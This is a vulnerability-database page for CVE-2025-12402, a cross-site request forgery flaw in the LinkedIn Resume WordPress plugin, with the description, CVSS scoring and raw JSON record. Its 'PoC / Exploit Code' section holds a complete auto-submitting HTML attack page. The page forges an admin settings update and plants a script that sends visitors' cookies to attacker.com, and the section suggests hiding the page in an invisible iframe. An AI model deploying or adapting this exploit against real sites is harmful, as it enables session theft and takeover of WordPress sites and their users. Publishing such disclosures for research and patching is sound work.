Security Vulnerability Report
中文
CVE-2025-12402 CVSS 6.1 MEDIUM

CVE-2025-12402

Published: 2025-11-04 05:16:13
Last Modified: 2026-04-15 00:35:42

Description

The LinkedIn Resume plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.00. This is due to missing or incorrect nonce validation on the linkedinresume_printAdminPage() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LinkedIn Resume plugin for WordPress <= 2.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12402 CSRF PoC for LinkedIn Resume Plugin --> <!-- This PoC demonstrates how an attacker can inject malicious JavaScript --> <!-- via CSRF attack against the vulnerable admin page --> <!DOCTYPE html> <html> <head> <title>LinkedIn Resume Plugin CSRF PoC</title> </head> <body> <h1>CVE-2025-12402 CSRF Attack Demo</h1> <p>Click the button below to trigger the CSRF attack.</p> <!-- Auto-submit form that forges admin request --> <form id="csrfForm" action="http://target-site.com/wp-admin/admin.php?page=linkedin-resume%2Flinkedinresume.php" method="POST" enctype="multipart/form-data"> <!-- Inject malicious JavaScript payload --> <input type="hidden" name="linkedinresume_setting_option_name" value="<script>alert('XSS by CSRF');document.location='https://attacker.com/steal?c='+document.cookie</script>"> <input type="hidden" name="linkedinresume_setting_field_api_key" value="malicious_api_key"> <input type="hidden" name="linkedinresume_setting_field_secret_key" value="malicious_secret"> <input type="hidden" name="submit" value="Update"> </form> <script> // Auto-submit after page load document.getElementById('csrfForm').submit(); </script> <p><strong>Note:</strong> For a real attack, this page would be disguised as something legitimate to trick the admin into visiting it.</p> </body> </html> <!-- Alternative: Social engineering link --> <!-- Attackers typically hide this form in an invisible iframe or use JavaScript to auto-submit --> <!-- The admin only needs to visit the page while logged in to their WordPress site -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12402", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:12.567", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LinkedIn Resume plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.00. This is due to missing or incorrect nonce validation on the linkedinresume_printAdminPage() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/linkedin-resume/tags/2.00/linkedinresume.php#L243", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/linkedin-resume/tags/2.00/linkedinresume.php#L245", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/linkedin-resume/tags/2.00/linkedinresume.php#L259", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/87efa10d-d359-4258-9db2-811d5ae75c60?source=cve", "source": "[email protected]"}]}}